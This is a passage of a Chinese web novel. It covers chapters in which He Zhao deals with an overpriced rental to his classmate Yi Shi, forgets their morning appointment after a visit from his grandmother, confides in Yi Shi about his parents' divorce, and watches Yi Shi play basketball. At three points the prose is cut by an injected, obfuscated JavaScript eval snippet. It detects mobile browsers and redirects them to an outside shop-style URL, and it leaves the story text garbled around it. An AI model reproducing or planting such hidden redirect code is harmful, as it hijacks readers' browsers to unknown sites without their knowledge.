张江洋:“你知道你为什么一直租不出去吗?我都没忍心告诉你,周边新小区都好几个了,来我们这儿破地方租房的肯定都是图便宜,你叫价那么高谁愿意租?对面那新小区3居室才两千多,楼下3楼租出去1200元一个月,对面那栋楼大庆家是我知道租出去最贵的1500元一个月,你直接就给翻倍了。是哪个人人傻钱多,竟然真的花3000从你这租房?” 贺昭顿了顿:“你认识的,易时。” 张江洋愣了愣,愤然指责:“贺昭你也太不是人了吧,竟然拿不清楚市场价的外国友人下手?” “什么鬼,我也是刚刚才知道市价的啊!你怎么不早说!”贺昭叹了口气,“被你这么一说,我这价格好像真的高了,搞得我真是个故意抬高价格的卑劣房东一样。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480247|201697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>忽然,门铃响了。 贺昭以为是林佩玲没拿钥匙,扬了扬下巴指示张江洋去开门。 谁知,在沙发坐下,张江洋拉长声音喊他:“哥,找你的。” 贺昭站起身望了过去,竟然是易谦。 不会是听说了房价来找他理论的吧? 贺昭走了过去:“易叔叔你进来坐吧。” 易谦温和地说:“打扰了,我就不进去了,我来是想问问你方不方便留个联系方式。” 哦,不是来找他理论的。 他就说富二代还在乎这点小钱? 贺昭打开手机:“方便的,您看是留手机号码还是加个微信?” 易时再怎么成熟稳重也只是个未满十八岁的未成年人,一个人在外面租房住,易谦会担心也是正常。 易谦也打开了手机:“都加一下吧,行吗?” 贺昭笑了笑:“行啊,我扫你吧。” 易谦迅速通过了贺昭的微信申请,贺昭把自己的姓名和手机号码一并发给了他,易谦笑了笑:“易时一直在国外和我也不太亲近,再加上他性格又很独立,有什么事大概都不会告诉我,如果之后他有什么状况可能要麻烦你跟我说一声。” 贺昭犹豫了:“啊?您是要我打小报告吗?这样不太好吧……” 易谦笑了一下:“也算不上小报告,由你判断需不需要告诉我,如果是易时自己可以处理的,我也不会干涉他。” 贺昭想了想,点了点头:“那行吧。” 其实他很想说,就算易时真有什么事也不会告诉他啊。 贺昭洗完澡头发没吹干,头朝下躺在床上,琢磨着怎么给易时减减房租,太便宜吧自己不乐意,但是现在这价格跟别人一比真显得他不是人。 不如坦白从宽,让易时自己心里有个数然后重新定个价格? 麻辣小龙虾:易时同学,我今天听说三楼的房租1200,对面的房租1500,你对房租有什么想法吗? 过了一会儿,手机才震动了一下。 租客:没有 没有??! 贺昭手指微动,飞快地打字。 麻辣小龙虾:我的意思是给你减点房租,你看减多少? 租客:不用 不用??!贺昭扶额,一时间不知道说什么好,世界上竟然会有房东主动说要减房租,而租客毫不留情拒绝的事发生。 真是岂有此理。 但是同时,贺昭脑内贪财的小人忍不住露出了满意而诡异的笑容。 有个富二代租客,夫复何求啊。 张江洋径直推门而入:“哥,我明天换了一条跑步线路,就东边那条路,你早餐想吃什么?” 东边那条路? 易时看着也不像是会早起给自己做早餐的人,估计是上学路上随便买随便吃,不如买个早餐聊表他对人傻钱多的租客崇敬疼惜的心意? 这样也显得他这个房东是个人。 贺昭保持着头朝下的姿势,倒看着张江洋:“我要吃三明治,你帮我买两份呗。” 张江洋:“哦,知道了,小心你的头别磕地上了。” 贺昭:“不会,出去记得把我房门带上。” 张江洋:“我当然记得。” 贺昭:“你当然不会记得,你刚刚进来就忘记敲门。” 张江洋:“……哦” 贺昭举起手机,飞快地打字。 “明天早上等我一起上学,房东给你带早餐。” 想了想,直接这样说易时很大可能会直接拒绝,于是,删了最后一句。 “明天早上等我一下” 租客:好 这位租客除了钱多,唯一的优点就是爽快了。 干干脆脆连为什么都没问,很易时的风格。 16. 迟到 一大早,贺昭就被手机铃声惊醒了。 他手忙脚乱摸到手机,闭着眼睛困意浓重“喂”了一声。 “小昭啊,起床了吗?是我,奶奶,我和你阿姨经过你家附近,想见见你,你看我们是上你家去呢还是你下来呢?” 听到这熟悉的声音,贺昭立即睁开眼睛,困意全消地坐了起来:“奶奶,我下去吧,街角有个早餐店,您和阿姨在那里等我好吗?” 奶奶应道:“好好好,不着急,你慢慢来。” 挂了电话,贺昭一看手机6:08。他倒在床上盯着天花板看了足足一分钟,这么早怎么可能是经过,老太太一看就是特地来找他的啊。缓了一会儿他才匆忙翻身下床,趿着拖鞋去卫生间洗漱,换上了校服。 家里很安静,贺昭打了个哈欠,甚至没有心情去猜张江洋是已经出门跑步还是仍在睡觉。 下了楼,清晨的世界已经很清亮,阳光淡淡地洒在路边的树木花草上,晨风轻轻地扫着带着难得的凉意,这个点行人还不多,四周显得有点儿冷清。 贺昭推开早餐店的门,奶奶和他爸的妻子许阿姨正坐在靠窗的位置,和她们一起的还有他同父异母不过两岁的小妹妹贺曦,她正揪着窗帘玩。 贺昭主动开口打招呼:“早啊,奶奶,许阿姨。” 奶奶热情地说:“哎又长高了,不过怎么还是这么瘦?上次就说你太瘦了,你妈怎么一点儿也不上心?” 贺昭笑了笑:“我吃得可多了,就是不长肉。” 奶奶说:“肯定没吃早餐吧,我让你许阿姨给你煮了燕窝粥。” 许阿姨从旁边的袋子里拿出一个精致的保温盒,打开盖子摆在了贺昭面前。 许阿姨其实长得有几分像林佩玲,文静温柔,说话也是轻声细语,不过比起气色一向不好的林佩玲,她看起来要健康许多。兴许是因为这几分相似,兴许是因为对长辈的尊敬,贺昭一直对她很礼貌客气。 贺昭接过她递过来的汤匙,说了句:“谢谢。” 许阿姨微微笑了一下。 奶奶看着他,目光怜爱:“平时早餐还是自己买吗?外面的早餐又没营养又不卫生,你妈也真是的,整天不顾家连孩子都不管啦。” 许阿姨轻声说:“她忙嘛,一个人打理店也不容易。” 奶奶:“谁又容易呢,照顾孩子本就是妈妈的天职,她就是这样……” 三次了,贺昭心想,这么久了,他能容忍奶奶说他妈妈的次数仍然是三次。 贺昭舀粥的动作顿了一下,打断问道:“奶奶这么早来找我有什么事吗?” 从小奶奶就很疼他,或者应该说非常非常非常疼爱他,恨不得把一切好的东西都捧到他面前,但是这并不能抵消她对林佩玲的不满和轻视。在她眼里,没有正当职业身体又差的林佩玲除了生了一个乖孙子外几乎是一无是处,即便林佩玲那么多年一直讨好她也丝毫没有用。贺昭小时候就时常觉得很纠结,他知道奶奶是真心对他好,却又没办法视而不见奶奶对他妈妈不好。他不能因为奶奶不喜欢他妈妈就跟她断绝关系伤她的心,也不能因为奶奶对他好就任由她伤他妈妈的心。 直到父母离婚,这些矛盾也没有得到缓解。当年爷爷奶奶爸爸对他的抚养权势在必得,是他吵着闹着离家出走硬要跟着林佩玲走,从那之后他们对林佩玲越发不满,他们总认为是林佩玲在背后怂恿。 “哎呀,没有事儿奶奶就不能来看看我的乖孙啦?”奶奶语气有些不满和嗔怪,“你学业忙没有时间,我也只能一早来见你这么一会儿,如果当年不是你妈硬要带走你,奶奶也不至于一个月见不到你一次。” 贺昭有些无奈:“奶奶,是我要跟着我妈的。” “我知道你肯定每次都护着你妈,小昭啊,奶奶真的很担心你没有在我们身边长大会跟我们越来越生疏。你爸那人嘴笨不会说话,但他肯定是关心你爱你,他前两天找你吃饭是不是又说了什么不中听的话惹你不高兴啦?你跟奶奶说,奶奶肯定是替你做主,教训批评他。”奶奶说。 贺昭笑了一下:“也没说什么。” 贺闻彦每一次无非就是询问他学业未来的计划,责备他许久没跟他那边联系,责问他为什么没有参加他同父异母的大妹妹贺晗的生日……诸如此类。贺闻彦是个极度严谨严苛且大男子主义的人,出自一个传统意义上的好家庭,聪慧自律,人生几乎顺风顺水,事业上也颇有所得。他有着自己的人生成功标准,习惯于让他人服从他,也习惯于在每一件小事上用他的方式规训贺昭,塑造他成为合乎期待的“合格品”。 很显然,贺昭从小到大都没让他满意过。 贺昭搅了搅粥,但是,贺闻彦也从没有让他满意过就是了。 奶奶大约也知道贺闻彦会跟他说什么,轻轻叹了一口气,过了一会儿,摸了摸他的脑袋:“不说他了不说他了,小昭啊,有件事奶奶想拜托你,过十天是你爷爷的生日,你一定要来好不好啊?你爷爷身体近来不好,见到你肯定很高兴,爷爷奶奶在你爸不敢教训你的。” 贺昭最受不了奶奶用这样慈爱带着商量甚至有一点点讨好的语气跟他说话,他的心一下子软了下来,不知是不是太早吃早餐,胃里就像被人捏住了,泛起了一阵酸意,他乖乖点了点头:“爷爷生日我肯定是要去的。” 奶奶高兴了起来连说了几声好,脸上的皱纹都舒展开了:“我回去跟你爷爷说,他肯定高兴坏了。是不是没喝惯这粥啊?喝不下就算了,奶奶和你许阿姨开车送你去上学。上一回送你上学,那都好多年前了。” 许阿姨接过话:“我去把车开过来。” 奶奶点点头:“好,小昭你牵着你妹妹,你两个妹妹都可想你这哥哥了,天天把哥哥挂在嘴边。” 贺昭笑着说:“是吗?” 贺曦确实很乖巧,贺昭牵着她的手不哭也不闹,只是好奇地瞅着他,但连话都还说不太清楚实在不像是会把哥哥挂在嘴边的人。至于贺晗,和他就更陌生了,每次见面除了礼貌性打个招呼,几乎从无交集。 奶奶走出店门的时候,皱着眉头看着坐在门口露天位置吃早餐的人,忍不住嘱咐:“小昭,你可不能在这种地方吃早餐,多不卫生。” 他们刚刚霸着一张桌却没有点东西吃,贺昭本就有些不好意思,奶奶说这话的时候又刚好遇见老板捧着早餐出来给外面摊位的人,他更尴尬了,没有接话。等奶奶往路边走了几步,他小声跟认识的老板道歉:“郑叔不好意思,我奶奶她……改天我再来吃早餐。” 郑叔摆了摆手:“没事没事。” 今天起太早了,贺昭到了学校,直接趴在桌上闭目养神。 直到早读课铃声响起,他才不情不愿地撑起了脑袋。 瞥了一眼,易时的座位竟然是空的。 真稀奇,自从他和易时同桌,不管他几点到,易时都是在位置上的,这位勤劳的学霸今天竟然迟到了? 等一等。 贺昭忽然想起了什么,他昨晚好像让易时等他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480248|201697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会吧,不会吧…… 易时该不会是为了等他迟到的吧? 他不会就这么等下去吧? 贺昭顿时整个人都不好了,立即往裤袋里摸手机,还没来得及掏出来,谭老师进来了,敲了敲他的桌子:“把语文课本拿出来。” 贺昭:“……” 这都什么事啊!!!! 好不容易等到谭老师终于不在他附近徘徊,在朗朗读书声中,贺昭偷偷摸摸拿出手机。 忽然,谭老师说话了:“易时,早自习就30分钟,你迟到了整整十五分钟。” 草。 贺昭手一抖,手机差点掉在地上。 吵吵闹闹此起彼伏的读书声一下子停住了,易时的声音从后门传了过来:“起晚了。” 谭老师语气听不出什么态度:“先进来早读,待会儿下课去办公室找我,继续早读。” 隔壁有人拉开椅子坐下了,贺昭心虚得不敢抬头。 该怎么解释?说他单纯忘记了这件事?这样说易时应该会更生气吧?可如果真要解释清楚的话就得从他爸妈离婚开始说起……而且他确实也是忘记了,不管怎样都应该提前跟他说一声的。 世界上到底有什么理由可以很好解释他放人鸽子害人迟到这件事…… 神啊,到底要怎么编……呃不,怎么解释才能迅速取得原谅? 就说自己也不知道怎么回事,一觉睡醒就梦游到学校了? 好蠢的借口。 这样说易时还生不生气不知道,估计会以为他是个傻子。 贺昭鼓起勇气偷偷瞟了一眼易时,他正低头看文言文,看表情倒是瞧不出是不是生气了。 贺昭迅速做好心理建设,小声叫他:“易时……” 易时垂眼扫了他一下。 贺昭可怜兮兮地看着他:“对不起,真的对不起,我忘记了……要不然你明天也鸽我一回呗?” 男子汉大丈夫能屈能伸,该卖惨时就卖惨,该可怜时就可怜。 恰好,早读课下课音乐响起了。 教室里一下子人声鼎沸,热闹了起来。 贺昭看着易时合上课本,站起身,看向他,极为冷淡地问:“忘记了?” 贺昭一系列讨好的话霎时被堵在喉咙,酝酿好的情绪也被打断了,沉默了片刻,他双手合十:“对不起!” 道歉总没错了吧? 易时没理他,直接转身走出了教室,看方向应该是去办公室找谭老师了。 完了,好像真生气了。 估计被谭老师约谈回来会更生气…… 贺昭生无可恋地趴在桌上,喃喃地说:“从我今天早上接到电话开始,我就知道今天不会是简单的一天。” 他终于如愿以偿掏出了手机,有两条未读消息。 一条来自于张江洋:三明治放桌上了,你人去哪了? 一条来自于易时:人呢? 易时发消息的时间是7:20,早读7:30开始,那时候他应该已经等了很久。 贺昭的罪恶感和愧疚感立即加倍。 罗浩从书包里拿出两瓶牛奶放在贺昭桌上,对着他说:“一瓶给你,一瓶给易哥。” 贺昭有气无力地说:“你待会儿自己给他吧,我给他估计马上丢进垃圾桶了。” 罗浩有些疑惑:“啊?昨晚……你们不是看着还挺好的吗?吵架了?” 贺昭懒得从头解释,郁闷地说:“这么说吧,他刚刚迟到是我害的。” 17. 道歉 直到第一节课上课,易时才从办公室回来,手上多了两套语文试卷。 谭老师的绝杀技,罚人做试卷。 贺昭迟疑了一下,主动揽活:“我帮你写一套吧?算了,两套都给我吧?” 易时宛若没有听见,将试卷工整折好放进了抽屉。 贺昭再度道歉:“哥,我错了,我真的知道错了,您大人有大量,宰相肚里能撑船,就给我一次机会呗?” 易时的动作顿了一下,但仍没有看他。 贺昭眼睛一转,把罗浩给的牛奶插上吸管,恭恭敬敬放在他桌上:“易哥,易时哥哥,大哥,大佬,喝个牛奶消消气。” 易时面无表情把牛奶推了回去,拿出了课本。 行吧,不要就不要,至少没气到把牛奶丢进垃圾桶。 贺昭捧起牛奶咬着吸管自己喝了起来,用眼神示意罗浩。 趁着任课老师还没来,罗浩把一瓶牛奶放在易时桌上:“易哥,喝牛奶。” 易时没有拒绝,眼皮微抬,说了句:“谢谢。” 啧啧啧,只是不要他给的,气性真大。 一整个上午,贺昭自觉地保持距离,没再主动去惹易时烦。 中午下课,贺昭跟在易时身后往校外走,盯着前面的背影密密匝匝地丢目光飞刀,这人究竟要气到什么时候啊,要什么时候才会理他一下。 好不容易,他们才熟悉了那么一点点。 走过成荫的绿树大道,忽然,易时停了一下,开了口:“你原本让我等你做什么?” 贺昭精神一震,这是?没那么生气了?有回旋的余地了? 贺昭几步迈到和他并肩的位置,老老实实回答:“也没什么,我原本就是想请你吃早餐。” 易时:“早餐呢?” 应该在家里的餐桌上。 这话贺昭实在说不出口,安静了一会儿,贺昭听见易时很轻地嗤了一声。 贺昭立即瞥了眼易时的脸色,还好,没有很难看,似乎比之前好了很多,至少不是冷冰冰不理人了。 一瞬间,贺昭又觉得自己有些委屈,他本来是一腔好意,怎么就变成这样了呢? 他忍不住解释:“我本来不可能会忘记,是我奶奶一早来找我,诶,你别不信啊。” 他揪着领口扇风,有些郁闷,虽然听起来确实没什么说服力,但事实确实就是这样啊。 “你昨天也听到任仕杰说了吧,我爸妈离婚了,我妈和张江洋的爸爸再婚,我爸也再婚了。我奶奶今天一早和我爸的老婆来看我,我奶奶呢一直不喜欢我妈,所以我不想让她来我现在的家里,就让她在早餐店等我。反正我家的事就很复杂,可我真不是故意的,后来她们直接送我来学校,我就忘记了跟你的约定。”贺昭一番话说得很快,就跟绕口令一样。 易时终于看了他一眼。 贺昭原不想说得那么清楚,但说着说着那股烦闷的感觉涌了上来,就好像有一股气卡在胸口,使他非常想要一吐为快。 他心中的苦又能跟谁说呢? 罗浩和他爸家至今仍是邻居,罗浩的爷爷和他爷爷是几十年的老朋友,罗浩的爸爸和他爸是同学,两家人隔得太近了,近得这些事他不想跟罗浩说太多。 姜林……姜林人挺好热情善良,但很多时候他确实管不住自己的嘴,虽然没有什么恶意,可告诉他约等于告诉了全世界。 张江洋也不能说,奶奶一直瞧不上张叔和张江洋,跟他说不过是给这个家平添烦恼。 也还有别的朋友,要么是温室里的花朵天真无邪,根本理解不了他的处境。要么听他一说就会觉得很严重很震惊,他甚至可以想象得到那些诧异和同情的眼神,其实这些事说简单也不简单,但是也不算太复杂过分。 易时不一样—— 没有太深的理由,兴许是他憋太久了急于找人宣泄一下,贺昭迅速在心里下了结论:易时是最合适的倾听者。 他们两人就像两个世界的人没有太多交集,根本不用担心他会乱说,况且易时也不是那种人。而且或许因为易时也有类似的经历,他刚刚那一眼没有多余的震惊或者同情的眼神,就好像只是一件普通的事。 那正是他所需要的,不用安慰不用批判,只是想有个人听他狠狠吐槽一番,云淡风轻听一听不往心里去就最好不过了。 贺昭盯着他,试探地问:“你不生气了?” 易时不冷不热地说:“没生气。” 我信你个鬼。 易时从贺昭的神情里读出了明晃晃不加以掩饰的不相信,可很快,他弯了弯嘴角,眼睛清澈透亮,眼尾微扬,露出了易时见过好几次,他对着老师长辈的同款卖乖笑容:“没生气就好,我就知道你不会那么小气。” 阳光透过树叶罅隙零星落下,像是给眼前的少年加了一层明亮轻柔的滤镜,放大了他身上自然散发的蓬勃少年感。这股少年感似乎是从他灵魂深处由内而外透出来,浑然天成,幼嫩而坚韧,是不自知的清爽和自然流露的天真。 说实话易时没有真的生气,只是见贺昭小心翼翼地观摩讨好他,想看他接下来还会做什么。 贺昭看着懒懒散散插科打诨,其实脾气有点急,嘴也有点欠,但易时能明白贺昭为什么招人喜欢。他有一种天赋,看起来说的每一句话、做的每一件事都没掺进半点虚情假意,无论是朋友、亲人,甚至是陌生人,他似乎都真诚对待,坦坦荡荡大大方方,就像第一次见面就主动替他带路一样。 没有正常人会讨厌这样的人。 贺昭似乎有些为难,踢了踢脚下的石子:“那你要听我往下说吗?” 易时:“你说。” “实话跟你说吧,当时我爸妈离婚闹得挺难看的,因为我闹的,原本我爸那边家庭条件各种方面都好一些,他们也拼命争取我的抚养权,我不出意外要判给我爸,是我又哭又闹还离家出走才改变了结果,可是他们都怪在我妈身上。” 看得出来贺昭努力把这些话说得轻松一些,但眉眼还是带着几分惆怅。 不像是编的,应该是真的。 易时顿了一下:“你爸对你不好?” 贺昭抬头看着绿茵茵茂密的树枝:“也不能说不好,说起来也算挺好的。爷爷奶奶爸爸他们对我很好,什么都想给我最好的,但是对我妈不好,很不好。在我以前的家,他们任何一个人都可以轻视使唤我妈,如果我什么事做好了就会夸我很棒说我像我爸,如果我什么事做得不好,就会怪我妈没把我教好,就好像什么都是我妈的错。就像我生病了,我奶奶会很心疼地说是因为我妈身体差才把我生得抵抗力差。我不喜欢这样,最后是我先受不了劝我妈离的婚,那时候我就下定决心不管怎样我都要跟着我妈一起承受这个结果,不管最后是好的还是坏的。” 这些话已经压在贺昭心里很久,他几乎没有主动跟人提起过。就是因为他爸那边的亲人对他很好,所以他才没办法简单地分出个喜欢和讨厌。如果他们对他差一点,他或许还能名正言顺地说她们不好,可他们对他掏心掏肺,他连不喜欢他们的资格都没有。 易时嗓音很低:“你劝你妈离婚?” 贺昭仍仰着头,觉得阳光有些刺眼:“对呀,在一起那么辛苦,为什么不能放自己一条生路呢?你说,如果没有永远的爱,为什么要永远为以前错误的承诺买单?我爸应该喜欢过我妈的,我猜他就喜欢这种类型的女生,许阿姨也是这样的性格,但是在各种压力和巨大差异磨合下,那一点喜欢早就消磨完了。父母也应该有自己的生活吧,没必要一直为了孩子牺牲,我就特别怕他们说一切都是为了我。” 易时不擅长聊天,也几乎没有和人这样坦诚聊天的经历,更不会开导人。贺昭洋洋洒洒说了一堆,他几乎插不进话,不过,贺昭看起来也不需要他说什么。 贺昭停下来的时候,他想过问他为什么明明想得这么通透、把话说得这么洒脱,最后却又惆怅地叹了口气。 为什么叹气? 沉默了好一会儿,易时还是没有问出口,只说了一句:“你能这么想很好。” 贺昭想说的话,应该会主动说出来。他虽然看起来不拘小节,实际上聪明敏感,很有分寸地从不僭越。能察觉到并尊重他人自我意识的人,本身的自我意识不会弱。 谁知,贺昭立即不满意地瞥了他一眼,微微皱眉:“你怎么不问我为什么叹气?” 易时突然有点儿想叹气,但还是问道:“你为什么叹气?” 贺昭揉了揉鼻子,终于把真正烦恼的事说了出来:“其实……他们,我爸那边对我很好,但也没有那么好。唉,我也不知道怎么说了,因为我是儿子,我爸再婚后生了两个孩子都是女儿,虽然不会因此对妹妹不好,但他们确实有点儿重男轻女,觉得男孩才能继承香火。你知道吗?我爸妈离婚的时候,我爷爷就要我发誓绝对不改姓,还说只要我依然姓贺,就一如既往是他的孙子。就……他们给的爱不是没有条件的,而且理由还这么简单荒谬,但是不管因为什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480249|201697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他们又确实对我挺好。可我又真的时常觉得喘不过气来,我不可能为了所谓的家族牺牲我自己的人生,而且我很明显感觉到我跟我爸就是两个世界的人。也没有太多不愉快的经历吧,但就是感觉我和他永远都没办法相互理解更没办法和解,我有时候会想那就只能选择远离了啊,但是又没有那么容易。你能听明白我说什么吗?” 兴许是贺昭看过来的眼神很希望他能懂,易时下意识点了点头。 “小时候总觉得自己就是世界的中心,所有人所有东西都是围着我转的,所有人都会理所当然爱我。后来才意识到世界上根本没有毫无条件的爱,如果因为想要别人爱就自己套上枷锁寻求认同肯定是不行的。你知道吗,我每一次回我爸那边就觉得自己回到了小时候,一个小孩站在一群大人中间,他们说你这不对那不对,你要这样你要那样,你要走正确的路,你走歪路人生就毁了,你不仅要为自己还要为家族考虑。虽然没有强调为我做了什么,但是就好像我所有从中得到的,最后都必须偿还回去。” 贺昭原本以为自己会很平静地吐槽出来,可不知道为什么只说到一半鼻子就酸了。 这些话说出来很容易,可是要真的不去在意真的很难,更难的是意识到并接受它。 贺昭也是在懵懵懂懂的年纪,在日常生活中一点点意识到自我和责任的碰撞,爱和枷锁的牵扯。他越长大越发意识到他的人生被别人掌控着,交什么朋友,上什么兴趣班,上哪一所学校……都必须在他爸和比他爸还要控制欲强的爷爷掌控范围内。他们给的自由是有范围的,必须要上重点高中,必须要考上本科,毕业后考进体制做个公务员,娶个门当户对的妻子……他们已经为他规划好了人生路线,可以有一点儿偏差,但若是偏离一步必定会掀起轩然大波。以至于他达不到他们的要求,就像当年考入差强人意的六中,他们不得不拉低底线都如同一种高高在上的施舍。 或许不只有他,因为他,林佩玲的人生也被掌控着,林佩玲的娘家并不在这座城市,但是当年同意贺昭跟着他妈的第一个条件就是她们母子二人必须一直在这座城市生活。 感觉到眼泪涌了上来,贺昭立即低下了头,但他仍倔强地抿了抿唇:“反正这些都会过去的,等我十八岁就好了,长大就是努力去过自己喜欢的生活。” 其实他有一个很善解人意的妈妈,张叔对他视若己出,张江洋也对他很好。贺昭一直觉得自己很幸运,得到的很多,虽然他爸那边不愉快成分居多,但慢慢地应该也干涉不了他太多,可就是觉得很委屈。 他时常没事的时候也会自己瞎琢磨,更多是烦躁委屈,从来没有想哭的冲动。 也不知道为什么,这会儿突然就流眼泪了。 太丢脸了。 这都什么事啊! 他原本只是想找个人说说话,一吐为快而已。 真是莫名其妙! 贺昭佯装自然落后了几步,擦去脸颊的眼泪。易时配合他往前走快了一点,忽然想起第一次见到贺昭,那时下意识觉得这人的人生刻着“精雕细琢”四个字,家境不一定非常好,但会是在爱里浸泡着被捧在手心里长大的矜贵少爷。 他面无表情地想,原来少爷并非对这个世界的丑恶真相一无所知,原来他会犀利而清醒地想这么多。 他用余光瞟了一眼,不过,少爷的眼睛虽然红了,身上透明的脆弱感和韧劲交织却不违和,像一棵小树,郁郁葱葱,连叶片都闪烁着光,坦荡地把所有情绪都摊在阳光下。 走出校门口的时候,身后的少年才再度走到了与他并肩的位置:“我请你吃午饭吧。” 说话的尾音还带着一点点哭息。 易时目不斜视:“不用。” 忽然,贺昭捂着眼睛在街角蹲了下来,愤愤地指责:“你别装了!你肯定看到了!我知道你看到了!太明显了!不然怎么会这么刻意不看我了!你必须吃我请的午饭,然后当做什么都没发生,赶紧忘掉今天中午的事。” 易时低头看见他微红的耳尖,半晌,扯了扯嘴角:“忘不掉了。” 贺昭猛地抬起头,正要开口,愣了一下:“不是吧易时!我第一次见你笑是嘲笑我?你有没有良心?” “没有,”易时毫无感情地说,“你再不起来我走了,大少爷。” 贺昭站了起来,满脸不可置信:“卧槽?你叫我大少爷?你才大少爷,你有什么资格叫我大少爷?我真是看错你了!年纪轻轻怎么这么毒舌?一点儿都不善良。” 18. 热闹 易时最后还是被贺昭硬是拽进了林佩玲的甜品店。 贺昭抬了抬下巴:“你已经吃了这盘我妈亲手煮的意面,喝了这杯我亲手倒的水,必须忘记我的黑历史知不知道?” 易时喝了口水,漫不经心地问:“什么黑历史?” 贺昭气得翻了个白眼:“你讲不讲道理?” 易时瘦长的手指托着玻璃杯,看着他:“我父母在我两岁的时候离了婚,后来各自有了自己的家庭。我在两个家庭都像局外人,不过他们尊重我的意愿,同意我跟着外婆生活,如果这是黑历史的话,现在你也知道我的黑历史了。但是抱歉,我实在哭不出来。” 贺昭没想到易时会突然说这么多,愣了愣:“我也不是这个意思……” 见易时神色如常,仿佛只是开了个玩笑,又有些郁闷:“我平常也不是爱哭的人好吧,我那是……” 易时接过话:“被风迷了眼。” 这是刚刚见到林佩玲的时候,贺昭的说辞。 贺昭:“我终于知道你为什么不爱说话了,你一说话会让人更想揍你。” 走出甜蜜时光的时候,贺昭像是想起什么,问:“你到底打不打篮球赛,何大仙都快烦死我了,天天追着问我。” 易时:“打吧。” 贺昭有些疑惑:“怎么突然这么痛快了?不用想了?” 易时:“嗯。” “嗯什么嗯,说说理由呗。”贺昭说 “之前是怕耽误学习时间,现在差不多了。”易时说。 贺昭意味深长地哇了一声:“果然是学霸耶,这理由老周听了肯定要感动哭。” 走到接近校门口的位置,正好看见何崇山和班上其他几个男生走在前面,不知道在说什么嘻嘻哈哈推推搡搡。 贺昭跑了过去,一扬手把何崇山的帽子摘了扣在了另一个男生头上。趁他们吓了一跳,贺昭强行挤进他们中间,搭着何崇山的肩膀,用一种宣布好消息的语气说:“恭喜何大仙如愿以偿,易时答应打篮球啦,我算不算大功一件?” 何崇山从旁边那人头上取回自己的帽子,随手戴了回去,把手上还没来得及打开的可乐往贺昭的反方向举远了:“泼猴,我现在很怀疑你是为了窃取我手上这瓶冰可乐,故意炸我。” 贺昭十分嫌弃:“滚吧你,谁稀罕你这破可乐。” 说完立即作势要抢,何崇山是校篮主力,反应十分敏捷,没让他得逞:“啧啧啧来这套,昭儿,哥早看透你了。” 贺昭切了声,回头看向几米外还没走过来的易时,提高音量:“易时你快过来替我正名!” 正午的阳光灿烂得热烈而刺眼,易时眯了眯眼睛,应声向贺昭和他旁边嬉笑的男生们走过去,心里浮起第一次来到这座城市的感觉,很热闹,也很热。 下午是体育课,按照排课,一到六班一起上体育课。 “集训”结束是自由活动时间,何崇山迫不及待集合班上新组建的篮球队进行训练。 没过一会儿,隔壁4班的体育委员过来约打友谊赛,新上任的班队教练何崇山想想正好可以让新组建的篮球队练练配合默契就同意了。 几个体育老师凑在一起当裁判看热闹,贺昭也跟着坐在旁边的树荫下乘凉。 罗浩坐了过来,用打探八卦的口吻问道:“听大锤说杜仕杰招惹你了?” 贺昭撑着下巴随口说:“是啊,我都懒得理他了。” 罗浩:“我怎么觉得你脾气越来越好了。” 贺昭:“还不得感谢张江洋,整天跟个炮仗一样一点就燃,我老是劝他要冷静,他听没听进去我不知道,我倒是十分心如止水。” 怕太阳晒不愿运动的女生稀稀拉拉坐在球场附近的树荫处边聊天边看男生打球,忽然发出了小小的欢呼。 贺昭虽然在说话却是盯着球场,正好目睹了全过程,对方两人前来抢球,易时拿着球直接起跳投了个三分球。 贺昭想过易时说自己会打篮球应该不会太差,但是没想到打得这么好。 根据贺昭多年品鉴篮球赛的经验,加上他对何崇山的了解,就凭何崇山一副捡到宝的欣喜表情,易时这水平肯定不比校篮的队员差。 易时平日里看起来是个酷哥,顶着一张冷淡的脸,做什么都是不慌不忙的架势,此刻在球场上却有些不一样,贺昭看着场上飞驰奔跑的身影,好像瞥见薄冰下汹涌的洋流,寂静无声的外在下磅礴喧嚣的生命力,仿若冰凉的蚌壳开了一道缝,整个人都在发光。 汗水啊少年啊青春啊。 贺昭感叹:“我好像听见了正式比赛的时候,满场女生的尖叫。” 罗浩点了点头:“那是,那可是易哥,我都想尖叫。” 自从易时那次帮了罗浩,俨然成为了罗浩的偶像。 两人盯着球场看了一会儿,贺昭大笑了起来:“可惜帅哥再帅也是个脸盲。” 贺昭敢断定易时绝对没有认齐班上同学的人脸,球队里这些人应该就认得姜林和何崇山两个,所以只有在他们两个人有空档的时候易时会传球出去。好几次,他分明看见易时拿着球犹豫了,目光冷漠地从吴峥和卢凯衫脸上划过,最后没办法直接投了篮。 